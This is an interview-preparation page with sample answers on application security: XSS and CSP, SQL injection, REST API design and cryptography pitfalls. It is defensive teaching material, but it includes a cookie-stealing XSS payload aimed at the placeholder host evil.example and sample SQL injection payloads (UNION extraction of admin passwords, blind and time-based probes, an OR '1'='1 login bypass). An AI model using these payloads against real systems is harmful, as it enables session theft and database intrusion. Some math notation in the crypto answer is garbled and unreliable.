Secure Coding and Application Security Questions
Writing and reviewing code that resists attack. Covers the OWASP Top Ten and common web vulnerabilities (XSS, SQL injection, CSRF), input validation, secure coding practices and security code review, static application security testing (SAST), API and HTTP security, database and frontend security, and mobile app security. The application-layer defense discipline for engineers building software.
Explain the three types of Cross-Site Scripting (stored, reflected, and DOM-based): how each one arises in source code and executes at runtime, how they map to CWE-79, and the concrete mitigations you would apply for each (output encoding, safe templating, Content Security Policy, sanitization libraries).
Sample Answer
Direct answer: Cross-Site Scripting (XSS) happens when an application takes attacker-influenced data and lets it execute as script in a victim's browser. There are three forms, distinguished by where the malicious payload lives and how it reaches the browser: stored (persisted on the server and served to other users), reflected (bounced straight back in the same response, e.g. in a search results page), and DOM-based (never touches the server at all; a client-side script reads attacker-controlled input, such as location.hash, and writes it into the page unsafely). All three map to CWE-79 (Improper Neutralization of Input During Web Page Generation).
How each arises and runs:
- Stored XSS: a comment field, profile bio, or support ticket is saved unescaped and later rendered to other users. Every visitor who views that page executes the payload. This is the most damaging form because it needs no social engineering; the victim just has to browse to a normal page.
- Reflected XSS: user input from the URL or a form field is echoed back into the HTML response without encoding, for example a "no results for
<search term>" message. The attacker has to trick a victim into clicking a crafted link that carries the payload. - DOM-based XSS: the vulnerable code path never reaches the server. A script reads something attacker-controlled (URL fragment,
document.referrer, a postMessage payload) and writes it into the DOM via a "sink" likeinnerHTMLordocument.write. Because it is entirely client-side, server-side output encoding alone doesn't stop it; the fix has to be in the JavaScript itself.
Worked example. A page renders search results with <p>No results for "${query}"</p> built by direct string concatenation on the server. A request for ?q=<script>document.location='//evil.example/steal?c='+document.cookie</script> gets echoed verbatim. The browser parses the <script> tag as part of the page and executes it, sending the victim's session cookie to the attacker's server. This is reflected XSS: the payload lives entirely in the URL, and the server just bounces it back.
Mitigations, from most to least fundamental:
- Context-aware output encoding at the point of insertion - HTML-entity-encode for text nodes, JavaScript-string-encode inside
<script>blocks, URL-encode inhref/srcattributes. Encoding the wrong context (e.g. HTML-encoding something placed inside a<script>tag) is a common way this still fails. - Safe templating and frameworks - modern templating engines (Jinja2 autoescape, React's JSX text nodes, Vue's
{{ }}interpolation) HTML-encode by default; the danger is almost always a deliberate escape hatch (|safe,dangerouslySetInnerHTML,v-html). - Content Security Policy (CSP) as defense in depth - a strict policy (no
unsafe-inline, nonce- or hash-based script allowlisting) means an injected<script>tag simply won't execute even if the encoding step is missed somewhere. - Sanitization libraries (e.g. DOMPurify) when you must accept some HTML, such as rich-text comments; never hand-roll an HTML sanitizer with regex, it will miss parser edge cases.
Trade-offs and pitfalls: encoding once at storage time and again at render time can double-encode and mangle legitimate content (an & becomes &amp;); the discipline is to store raw and encode only at output, per context. CSP is powerful but easy to weaken accidentally - a single unsafe-inline added to unblock a third-party analytics snippet reopens the whole class. On a modern single-page application, DOM-based XSS is now the more common real-world finding than server-reflected XSS, because so much rendering happens client-side; teams that only audit their server templates for encoding miss it entirely. Detection: for stored/reflected, grep for output sinks that don't go through the templating layer's auto-escaping; for DOM-based, trace every innerHTML/outerHTML/document.write/eval call back to its data source, and in a running app, browser devtools' "break on attribute modification" plus tools like DOMPurify's own test payloads help confirm a sink is genuinely reachable from attacker-controlled input.
For operational detection at runtime (useful when your own team runs a distributed system and wants defense in depth beyond code review): watch for a spike in requests carrying <script, javascript:, or onerror= patterns at the edge (WAF rules - a Web Application Firewall matching known attack signatures), and use DAST (Dynamic Application Security Testing) scans in CI to catch reflected cases before they ship. These controls catch what slips past code review; they are not a substitute for encoding at the source, since a sufficiently obfuscated payload (unicode escapes, case variation) will slip past a naive WAF signature.
Your web application serves user-generated HTML and relies on third-party analytics and widgets. Design a Content Security Policy that reduces XSS risk while preserving the required third-party functionality. Discuss nonces versus hashes, strict-dynamic, report-only mode, subresource integrity, and practical bypass techniques an attacker might try against your policy.
Sample Answer
Direct answer: For a page that must render user-generated HTML alongside third-party analytics and widgets, the right CSP design is a strict, allowlist-based policy built around nonces (not unsafe-inline), strict-dynamic to let trusted first-party scripts load their own dependencies without re-listing every third-party domain, and Subresource Integrity (SRI) on any third-party script you can pin to a specific version.
Structured elaboration.
A minimal-viable strict policy looks like:
Content-Security-Policy:
default-src 'self';
script-src 'nonce-{RANDOM_PER_REQUEST}' 'strict-dynamic';
style-src 'self' 'nonce-{RANDOM_PER_REQUEST}';
object-src 'none';
base-uri 'self';
frame-ancestors 'self';
- Nonces over
unsafe-inlineor domain allowlists: a fresh, unpredictable nonce is generated server-side per response and both embedded in the<script nonce="...">tag and sent in the header. An attacker who injects a<script>tag via a missed-encoding bug cannot guess the nonce, so their script simply doesn't execute even though the injection technically succeeded - this is the core value of CSP as defense in depth. strict-dynamic: once a nonce-carrying script is allowed to run, it can dynamically load further scripts (e.g. an analytics snippet that injects its own sub-scripts) without those sub-scripts needing their own nonce or domain listed. Withoutstrict-dynamic, every third-party analytics vendor's dynamically-loaded dependency chain has to be individually allowlisted by domain, which breaks constantly as vendors change their infrastructure.- SRI (
integrity="sha384-..."on<script>/<link>tags): for third-party scripts loaded from a CDN by URL rather than dynamically, SRI ensures that if the CDN is compromised or the script is tampered with in transit, the browser refuses to execute the mismatched content. This doesn't help for scripts loaded viastrict-dynamic's dynamic-injection path, since SRI requires a static<script src>tag; the two techniques cover different loading patterns. - Hashes as the alternative to nonces: instead of (or alongside) a nonce,
script-srccan allowlist a script by the SHA-256/384/512 hash of its exact content ('sha256-abc123...'). A hash source fits a script whose content is static and known ahead of time, since you compute the hash once and ship it in the policy; it needs no per-request coordination between the response header and the HTML, unlike a nonce, which must be freshly generated and matched on every single response. The trade-off runs the opposite way from a nonce's: a hash must be recomputed and redeployed on every single-byte change to the script's content, which makes it a poor fit for anything server-rendered with per-request variation, and a strong fit for a fixed, versioned, cacheable script file - the two mechanisms are chosen based on whether the script content is dynamic (nonce) or static (hash), not as competing options for the same script. - Report-only mode first: deploy as
Content-Security-Policy-Report-Onlywith areport-uri/report-toendpoint before enforcing, so you can see what the policy would have blocked (often a surprising number of legitimate but sloppy inline handlers or forgotten trackers) without breaking the page for real users while you fix them.
Worked example. A blog page that renders user comments (sanitized HTML, so no arbitrary <script> tags survive sanitization) plus a Google Analytics snippet and a chat widget. The analytics snippet is loaded via a nonce'd <script> tag; strict-dynamic lets it pull in its own further scripts. The chat widget is loaded from a fixed CDN URL with SRI pinning a specific build hash. If an attacker manages to sneak an unsanitized <img src=x onerror=...> past the comment sanitizer (a defense-in-depth failure at the sanitization layer), the CSP still blocks the onerror handler from executing, because inline event-handler attributes are blocked by default under a nonce-based script-src with no unsafe-inline.
Trade-offs and pitfalls: nonces require the CSP header and the HTML to be generated together per-request (not a static file, not cached HTML with a shared nonce, which would let an attacker capture and replay a previously-leaked nonce). Common attacker bypass attempts against a policy like this: JSONP-style endpoints (JSONP is an older cross-origin data-fetching technique that works by injecting a <script> tag whose src points at an endpoint accepting a callback= parameter, which the browser then executes as JavaScript) on your own 'self' origin that reflect a callback parameter (effectively becoming an attacker-controlled script source under your own domain), and abusing base-uri if you forget to restrict it, letting an attacker's injected <base href> tag redirect all relative script/resource loads to their own server. A widget vendor that insists on eval() or inline onclick= handlers will force a policy weakening (unsafe-eval/unsafe-inline) that undermines much of this design, so vet third-party scripts for CSP-compatibility before adopting them, not after.
Explain how SQL injection attacks work, covering error-based, union-based, boolean/conditional-blind, and time-based blind techniques with a short example payload for each. Give a real-world exploit example and its business impact, then propose a prioritized set of mitigations at the code, framework, database, and architecture levels (parameterized queries/ORM best practices, least-privileged DB accounts, network rules, WAF, logging and detection).
Sample Answer
Direct answer: SQL injection happens when untrusted input is concatenated directly into a SQL query string, letting an attacker change the query's actual structure rather than just supplying a data value. The main techniques are error-based, union-based, boolean/conditional-blind, and time-based blind, and the fix at every layer starts with parameterized queries.
Structured elaboration, by technique:
- Error-based: the attacker crafts input that causes the database to throw an error containing useful information (a table name, a column value) in the error message itself, which the application then displays. Example payload:
' AND extractvalue(1, concat(0x7e, (SELECT version()))) --on a database configured to leak verbose errors to the client. - Union-based: the attacker appends a
UNION SELECTto the original query to pull data from a different table into the same result set the application already displays. Example:' UNION SELECT username, password FROM admin_users --- viable when the application echoes query results back, and the attacker can determine the original query's column count and types to match. - Boolean/conditional-blind: no error and no extra data is directly visible, but the application's behavior differs based on whether an injected condition is true or false (a different page, a different response length). Example:
' AND SUBSTRING(password,1,1)='a-- if the page renders differently than with a'b'guess, the attacker can extract data one character, one true/false question, at a time. - Time-based blind: like boolean-blind, but the true/false signal is response timing rather than response content, using something like
' AND IF(SUBSTRING(password,1,1)='a', SLEEP(5), 0) --- useful when the application's response looks identical regardless of the condition, but a deliberate delay is measurable.
Real-world example and business impact. SQL injection routinely appears in Glassdoor and CTF-style interview reports as THE canonical appsec question, because it's both simple to demonstrate and catastrophic in impact: a successful injection on an authentication query (... WHERE username='$u' AND password='$p') with the payload ' OR '1'='1 bypasses the password check entirely by making the WHERE clause always true, granting the attacker access as the first user in the table without knowing any credentials.
Mitigations, in priority order:
- Parameterized queries / prepared statements at the code level - the single highest-leverage fix, since it structurally separates the query's syntax from user-supplied values so the database driver can never confuse the two, regardless of what characters the input contains.
- ORM usage as a practical wrapper around parameterization, with the caveat that an ORM's escape hatch for raw SQL (building a query string with
.execute(raw_sql)) reintroduces the exact same vulnerability if that escape hatch is used carelessly. - Least-privileged database accounts - the application's DB user should only have the permissions its actual queries need (no
DROP TABLEgrant for an account that only ever doesSELECT/INSERT), so that even a successful injection is contained. - Network rules and WAF as defense in depth, catching known attack signatures at the edge - never the primary control, since signature-based detection can be evaded.
- Logging and detection for the injection attempts that get through, since some determined attacker will eventually try something a WAF signature doesn't catch.
Trade-offs and pitfalls: parameterization must be applied to every place a query is built, not just the obviously risky ones - a common miss is a dynamic ORDER BY clause or table/column name, which parameterized placeholders can't cover (you can't parameterize an identifier the same way you parameterize a value), and those need explicit allowlisting of the permitted identifiers instead.
List and justify the design patterns you would use to secure a public REST API that supports multiple clients. Cover authentication and authorization (OAuth2 scopes), input validation, output filtering, rate limiting, safe pagination/cursor design, field-level encryption for sensitive fields, and how you would separate perimeter (gateway) controls from business-logic-level checks.
Sample Answer
Direct answer
A secure public REST (Representational State Transfer) API for multiple clients needs controls at two distinct layers that do different jobs: perimeter controls at the gateway that reject obviously-bad or unauthorized traffic cheaply before it reaches business logic, and business-logic-level controls inside the service that enforce the specific rules a gateway structurally cannot know. Conflating the two, putting everything at the gateway or everything in the service, is the most common design mistake.
Structured elaboration
Authentication and authorization with OAuth2 scopes. Authentication (proving who the caller is) happens once, typically token verification at the gateway. Authorization is two distinct checks that should not be conflated: scope checking (does this token's OAuth2 scope permit this class of operation at all, for example orders:read versus orders:write) is coarse-grained and belongs at the gateway, since it needs no knowledge of a specific resource. Resource-level authorization (does this specific caller own or have rights to this specific order ID) is fine-grained and can only be enforced inside the business logic, since only the service knows the data's ownership. Treating scope checking as sufficient authorization on its own is a common and serious gap: it answers "can this token do writes" but never "can this token write to this specific record," which is exactly the class of bug behind broken object-level authorization findings.
Input validation. Validate structure, type, and range for every field on every request, using an allow-list schema (a defined contract for what a valid request looks like) rather than a deny-list of known-bad patterns. This belongs primarily in the business-logic layer, close to where the data is actually used, though a gateway can reject obviously malformed requests (wrong content type, oversized payload) earlier as a cheap first filter.
Output filtering. The data model used internally is rarely the same shape you want to expose externally; output filtering means explicitly serializing only the fields a given client and scope are entitled to see, rather than serializing an entire internal object and hoping nothing sensitive is present. This has to live in the business-logic layer, since only the service knows both the full internal shape and the caller's specific entitlement to see each field.
Rate limiting. Rate limiting belongs at the gateway as a perimeter control: it protects the backend from both abusive traffic and accidental overload from a misbehaving client, and doing it before requests reach business logic means an attacker attempting to overwhelm the service never gets past the cheapest possible check. A well-designed scheme applies limits per client identity (API key or authenticated subject), not just per IP address, since multiple legitimate clients can share an IP and a single client can rotate across many.
Safe pagination and cursor design. Offset-based pagination (?offset=1000&limit=50) leaks information about total record counts and, more importantly, changes results unpredictably when records are inserted or deleted between pages, which can also become an authorization footgun if offsets are allowed to wander into another tenant's data range in a poorly isolated multi-tenant design. Cursor-based pagination, where the cursor is an opaque, signed or encrypted token encoding a stable position, avoids both issues, and signing or encrypting the cursor prevents a client from tampering with it to probe outside their authorized data range.
Field-level encryption for sensitive fields. Not every field in a record carries the same sensitivity, and transport encryption (TLS) alone only protects data in transit, not data at rest in the database or in application logs. Encrypting specific sensitive fields (a national ID number, a payment credential) at the field level, separately from whatever encryption protects the database as a whole, means a broader data exposure (a misconfigured backup, an overly broad database query in a debugging session) does not automatically expose the most sensitive fields along with everything else.
Separating perimeter controls from business-logic-level checks. The diagram below shows the split: the gateway terminates TLS, authenticates the token, applies rate limiting, and checks coarse OAuth2 scope, all before a request reaches the service; the service then performs resource-level authorization, input validation, business logic, and output filtering plus field-level encryption on the way back out. The dividing line is information: anything the gateway can decide without knowing about the specific resource being accessed belongs at the perimeter; anything that requires resource-specific knowledge belongs in the service.
flowchart LR
Client([Client app])
subgraph Perimeter["Gateway (perimeter controls)"]
TLS[TLS termination]
AuthN[Authenticate: verify token]
RL[Rate limiter]
Scopes[Check OAuth2 scope present]
end
subgraph Service["Backend service (business-logic controls)"]
AuthZ[Authorize: resource-level ownership check]
Val[Input validation]
Logic[Business logic]
Out[Output filtering + field-level encryption]
end
DB[(Database)]
Client --> TLS --> AuthN --> RL --> Scopes --> AuthZ
AuthZ --> Val --> Logic --> DB
DB --> Out --> Client
Worked example
Consider GET /api/v1/orders/{order_id}. The gateway verifies the bearer token's signature and expiration, checks it carries an orders:read scope, and applies the caller's rate limit, rejecting the request in each failing case before it ever reaches the order service. The order service then looks up order_id and checks that the authenticated subject actually owns that order (resource-level authorization), the check no gateway could have performed without also carrying the entire orders table's ownership mapping. If found and authorized, the service serializes only the fields the caller's scope entitles them to see (output filtering: a customer-facing scope sees shipping status and total; an internal support scope might also see the fulfillment center), decrypting the customer's stored payment-method-last-four field (which is stored field-level-encrypted, separately from the rest of the row) only for that specific response. A gateway-only design that stopped at "valid token, has orders:read scope" would have let any authenticated caller with that scope fetch any order ID by simply changing the number in the URL, since scope alone says nothing about ownership.
Trade-offs and pitfalls
Putting resource-level authorization at the gateway (trying to make the gateway "smart" about ownership) usually backfires: it requires the gateway to either call back into the service to check ownership (adding a network round-trip and coupling that defeats the purpose of a lightweight perimeter) or duplicate ownership logic outside the service that owns the data, which drifts out of sync as the data model evolves.
Cursor-based pagination adds real implementation complexity (the cursor needs a stable sort key, and signing/encrypting it means the client can no longer construct arbitrary offsets themselves, which is a feature, but does require server-side cursor issuance on every page). Teams under time pressure often ship offset pagination "for now" and never revisit it once real traffic and real multi-tenant data volumes make its weaknesses actually exploitable.
Field-level encryption makes the encrypted fields unqueryable and unindexable in the database in their plaintext form, which is a genuine architectural cost, not just an implementation detail; encrypting a field you later need to filter or search on efficiently forces a redesign (a separate searchable-encryption scheme, or a deterministic-but-weaker encryption mode for that specific field, accepting the trade-off explicitly rather than discovering it after the fact).
Rate limiting purely by IP address is a common half-measure: it is trivially defeated by a distributed attack from many IPs and it collectively punishes legitimate users sharing a network address (corporate NAT (network address translation), mobile carrier-grade NAT); limiting by authenticated client identity is more precise but requires authentication to already have happened, which is itself another argument for ordering the gateway's checks as authenticate-then-rate-limit rather than the reverse.
Why is the guideline 'don't roll your own crypto' so widely recommended? Give three specific pitfalls developers encounter when implementing custom cryptography (for example: weak randomness, incorrect AEAD usage, padding-oracle vulnerabilities), and list the recommended libraries or primitives to use instead for encrypting data at rest and in transit.
Sample Answer
Direct answer
"Don't roll your own crypto" is not a statement about developer intelligence, it is a statement about how cryptographic primitives get trustworthy in the first place: years of public cryptanalysis, formal proofs, and adversarial review by people specifically trying to break them. A newly designed primitive or a novel composition of existing ones has none of that scrutiny yet, and cryptographic failures are unusual among software bugs in that they rarely crash or misbehave visibly, they just silently fail to protect the data, often for years before anyone notices.
Structured elaboration
Pitfall 1: weak randomness. Generating a key, nonce, initialization vector (IV), or salt with a non-cryptographic pseudorandom number generator, for example Python's random module, JavaScript's Math.random(), or C's rand(), is a common and often invisible mistake, because these generators produce statistically well-distributed output that looks fine in every functional test. The problem is predictability, not distribution: these generators are typically built on algorithms like the Mersenne Twister, whose full internal state can be reconstructed from a relatively small number of observed outputs, after which every past and future output is predictable. If that predictable output becomes a key or nonce, the entire cryptographic guarantee collapses even though every unit test for "is this random-looking" passes. The fix is a cryptographically secure pseudorandom number generator (CSPRNG): secrets or os.urandom in Python, crypto.randomBytes in Node.js, SecureRandom in Java, never the general-purpose random module.
Pitfall 2: incorrect authenticated-encryption-with-associated-data (AEAD) usage. Modern AEAD ciphers such as AES-GCM (Advanced Encryption Standard in Galois/Counter Mode) or ChaCha20-Poly1305 give you both confidentiality and integrity in one primitive, but only under a strict precondition: the (key, nonce) pair must never repeat. Reusing a nonce under GCM specifically is catastrophic, not just weakened, because two ciphertexts produced under the same key and nonce XOR together to reveal the XOR of their two plaintexts, and the same reuse can additionally let an attacker forge a valid authentication tag for chosen plaintext. This is exactly why libraries default to a fresh random 96-bit nonce per call and why NIST's SP 800-38D guidance caps random-nonce usage at roughly 232 encryptions under a single key, to keep the accidental-collision probability negligible. The birthday-bound math behind that number, for q encryptions with a 96-bit random nonce, is:
P(collision)≈2⋅296q2=297q2 q=232⟹P(collision)≈297264=2−33≈1.16×10−10Past that volume under one key, either switch to a counter-based nonce with a durably persisted, guaranteed-monotonic counter, or rotate the key before the budget is exhausted.
Pitfall 3: padding-oracle vulnerabilities. This shows up when an unauthenticated block-cipher mode, classically cipher block chaining (CBC) with PKCS#7 padding, is decrypted and the application reveals, even indirectly through a distinct error message or a measurable timing difference, whether the padding on the decrypted plaintext was valid. An attacker who can repeatedly query that oracle can decrypt, and in some constructions even forge, ciphertext byte by byte without ever recovering the key; this is the mechanism behind real-world attacks like POODLE and a string of framework-level padding-oracle exploits found in production web frameworks. The fix is not a cleverer padding check, it is not exposing a "was the padding valid" oracle at all: an AEAD mode verifies the authentication tag before any plaintext or padding information is ever returned to the caller, which removes the oracle entirely rather than trying to make it harder to query.
Recommended libraries and primitives. For data in transit, use Transport Layer Security (TLS) 1.2 or, preferably, 1.3, through the platform's maintained TLS stack (OpenSSL, BoringSSL, or a vetted language binding), never a hand-rolled transport encryption scheme. For data at rest, use an AEAD cipher, AES-256-GCM where hardware acceleration is available, ChaCha20-Poly1305 where it is not, through a vetted library such as Python's cryptography package (the hazmat AEAD primitives, despite the intimidating module name), Node's built-in crypto module configured for aes-256-gcm, Go's crypto/aes paired with cipher.NewGCM, or the deliberately narrow, misuse-resistant libsodium API (available in most languages, for example PyNaCl in Python) if you want an interface that makes several of the mistakes above structurally harder to make by design.
Worked example
A team building a file-sharing feature initially generates their per-file encryption key with random.getrandbits(256) because it is already imported elsewhere in the codebase and "looks random." It functions correctly in every test: encrypted files decrypt back to the original bytes, and nothing in a functional test suite can detect that the key is predictable. The actual defect only surfaces in a security review, where reconstructing the Mersenne Twister state from a handful of previously observed "random" values elsewhere in the same process (for example, a non-cryptographic use of random for cache-busting query strings, sharing the same global PRNG state) would let an attacker predict future key values without ever touching a network packet or the ciphertext itself. Switching the single line to secrets.token_bytes(32) closes the defect completely, with no other code change required, because the interface (return 32 random bytes) did not need to change, only the source of randomness backing it.
Trade-offs and pitfalls
A common overcorrection is treating "don't roll your own crypto" as "never write any code that touches cryptography," which leads teams to avoid encryption features entirely or delegate them wholesale to a platform default they don't understand, which is its own risk. The guideline is about not designing new primitives or compositions, not about refusing to correctly call a vetted library's documented AEAD function; application developers are expected to do the latter competently.
Ironically, nonce reuse and padding-oracle exposure are both examples of misusing a standard, well-vetted primitive, not of designing a new one. Using AES is not automatically safe; using AES-GCM with a properly generated unique nonce, or using authenticated encryption instead of raw CBC, is what makes it safe. "We used a standard algorithm" is not the same claim as "we used it correctly."
Defaulting to an older but still "standard" construction out of familiarity, like CBC mode with a manually appended HMAC computed and compared without a constant-time comparison, reintroduces both the padding-oracle risk above and a timing side-channel, even though every individual primitive involved (AES, HMAC) is legitimate. Prefer a single AEAD primitive over composing separate confidentiality and integrity primitives by hand whenever the library offers one, since the composition itself is where the classic mistakes live.
Unlock Full Question Bank
Get access to all 42 Secure Coding and Application Security interview questions and detailed answers.
Sign in to ContinueJoin thousands of developers preparing for their dream job.